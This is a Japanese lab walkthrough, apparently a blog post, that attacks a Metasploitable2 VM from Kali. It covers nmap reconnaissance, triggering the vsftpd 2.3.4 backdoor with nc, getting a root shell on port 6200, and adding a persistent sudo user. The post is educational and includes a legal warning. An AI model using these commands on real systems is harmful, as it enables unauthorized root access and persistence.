【脆弱性】脆弱性を放置するとどんな事が起きるのか

はじめに
----


今日は脆弱性を利用するとこんなことができてしまうから気をつけましょうというのを実際の攻撃をしていきながらお見せしようと思います。



:::note alert
※注意
ここで書かれていることを第三者に対して実行した場合不正アクセス禁止法によって罰せられる可能性がある為くれぐれも実行しないようにご注意ください。
私も仮想環境の中で攻撃される用のマシンに対して実行しました。
:::


利用ツール
----
Metasploitable2（マシンA）
セキュリティのお勉強用の脆弱性がたくさん用意されたマシン

kali Linux Rolling (2024.1) x64(マシンB)
攻撃用の仮想マシン


nmap
ポートスキャン用ツール

主に上記を使いました。

なお、攻撃を実行するにあたってハッキングラボの作り方（IPUSIRON著）を参考にしております。


また、今回は脆弱性があるとどんなことが行われるかを紹介をするのみにしようと思うので初期設定の詳しいやり方は割愛しようと思います。

それでは下記に簡単に手順をまとめました。

手順
-----
※前提として各マシンでの通信疎通は事前に確認できているものとします。

1.マシンAにログイン
----

　ログイン後ifconfigコマンドでマシンAのIPアドレスを確認しておく。
　今回は10.0.0.102とします。

2.マシンBにログイン
-----
　ログイン後下記コマンドを入力
 ~~~
 ┌──(root㉿kali)-[~]
└─# nmap -sP 10.0.0.0/24
~~~
すると
~~~
 ┌──(root㉿kali)-[~]
└─# nmap -sP 10.0.0.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 10:49 JST
Nmap scan report for 10.0.0.1
Host is up (0.0033s latency).
MAC Address: 0A:00:27:00:00:1A (Unknown)
Nmap scan report for 10.0.0.102
Host is up (0.0015s latency).
MAC Address: 08:00:27:AE:5A:F4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.100
Host is up (0.0021s latency).
MAC Address: 08:00:27:5D:47:23 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.98 seconds
~~~
上記の表示が出ます。

ここからは10.0.0.0/24のアドレスを持つマシンの中でどのマシンが稼働しているのかということがわかります。
256個アドレスがある内の4個のアドレスが動いていて10.0.0.102のマシンが稼働していることがわかりました

3.マシンBで偵察
----
下記コマンドを入力
~~~
 ┌──(root㉿kali)-[~]
└─# nmap -sV -O -p- 10.0.0.102
~~~
すると
~~~
 ┌──(root㉿kali)-[~]
└─# nmap -sV -O -p- 10.0.0.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 10:53 JST

Nmap scan report for 10.0.0.102
Host is up (0.0011s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  rpcbind
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
48246/tcp open  rpcbind
50384/tcp open  rpcbind
51446/tcp open  unknown
52937/tcp open  rpcbind
MAC Address: 08:00:27:AE:5A:F4 (Oracle VirtualBox virtual NIC)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.91 seconds

~~~
ここから何番ポートが開いているのかがわかります。
ポートとはサービスを利用するために双方で決められた出入り口のようなものです。
メールでは何番、Webサイトの閲覧では何番という風に番号が決められています。

openという値はそのポートが今開いていますという意味です。
21番ポートが開いていますね。Versionはvsftpd2.3.4と書いてあります。



4.調査
-----
vsftpd2.3.4に脆弱性があるかもしれないので調べてみます。
脆弱性は [CVEDetails](https://www.cvedetails.com/)などで調べることができます
調べると
>vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.

と書かれてあります。
どうやら2011/06/30から同年07/03にダウンロードされたものには6200番ポートを開くバックドアの脆弱性があるみたいです。

:::note 
2024年現在既に修正済みです。
:::

マシンAでは修正されていないのでこの脆弱性を利用することにします。

5.攻撃実行
---
マシンAの6200番ポートを開けるために
マシンBからマシンAへアクセスします
~~~
┌──(root㉿kali)-[~]
└─# nc 10.0.0.102 21
~~~
そのあと
~~~
┌──(root㉿kali)-[~]
└─# nc 10.0.0.102 21
220 (vsFTPd 2.3.4)
USER yyy:)　名前は適当でいいですが必ず:）を含むようにしてください
331 Please specify the password.
PASS a　ここは適当でいいです
~~~

PASSを入力した時点でマシンAの6200番ポートが開きます。

別のターミナルを開いて下記コマンドを入力します。

~~~
┌──(root㉿kali)-[~]
└─# nc -nv 10.0.0.102 6200
(UNKNOWN) [10.0.0.102] 6200 (?) open
~~~
無事、マシンAの6200番ポートにアクセスができました。

現在の状況はマシンAのシェルを開いている状況です。
上記コマンドに続いて自分が誰なのか確認してみます。
~~~
┌──(root㉿kali)-[~]
└─# nc -nv 10.0.0.102 6200
(UNKNOWN) [10.0.0.102] 6200 (?) open
whoami
root
~~~
root権限での操作に成功しています。
管理者権限があるので何でもできてしまいます
新しいユーザの追加や削除などです

~~~
┌──(root㉿kali)-[~]
└─# nc -nv 10.0.0.102 6200
(UNKNOWN) [10.0.0.102] 6200 (?) open
whoami
root
useradd -m newuser -G sudo -s /bin/bash; passwd newuser
Enter new UNIX password: SVChost
Retype new UNIX password: SVChost
passwd: password updated successfully
~~~
これでマシンAに自分のアカウントを作ることができました。


6.検証
---
それではアカウントが作れているかどうかマシンAで確認します。

~~~
msfadmin@metasploitable:$
less /etc/passwd
(略)
newuser:x:1004:1004::/home/newuser:/bin/bash
~~~

確認ができました。

これでアカウントが削除されない限り自由にログインできる環境ができあがってしまいました。

怖いですね。

7.まとめ
---
ここまで脆弱性があった場合にどういった危険があるのかについて偵察から実行までを行ってみました。

今回はユーザの追加だけでしたが他にも勝手にメールを送ったりマルウェアをインストールさせたりたった一つの小さな抜け穴があるだけで本当に色々なことができてしまいます。
今回の記事で脆弱性があったときの怖さについて少しでもご理解いただけたら幸いです。

もちろん今回のマシンAは無防備なマシンなのでここまで簡単にハッキングはできません。
ですがハッカーも被害を拡大させるために血のにじむような努力と研鑽をしています。
毎日のように新しい脆弱性が発見されて修正しての繰り返しです。

この努力と知識だけは見習いたいです。
~~あとハイスペックPC買う財力もうらやましい~~

以上です。ここまで読んでいただきありがとうございました。
**~~ハイスペックPC買う財力うらやましい~~**

明日は海外のハッキング情報交換サイトにある脆弱性情報を翻訳してみて間に合えば共有しようと思います。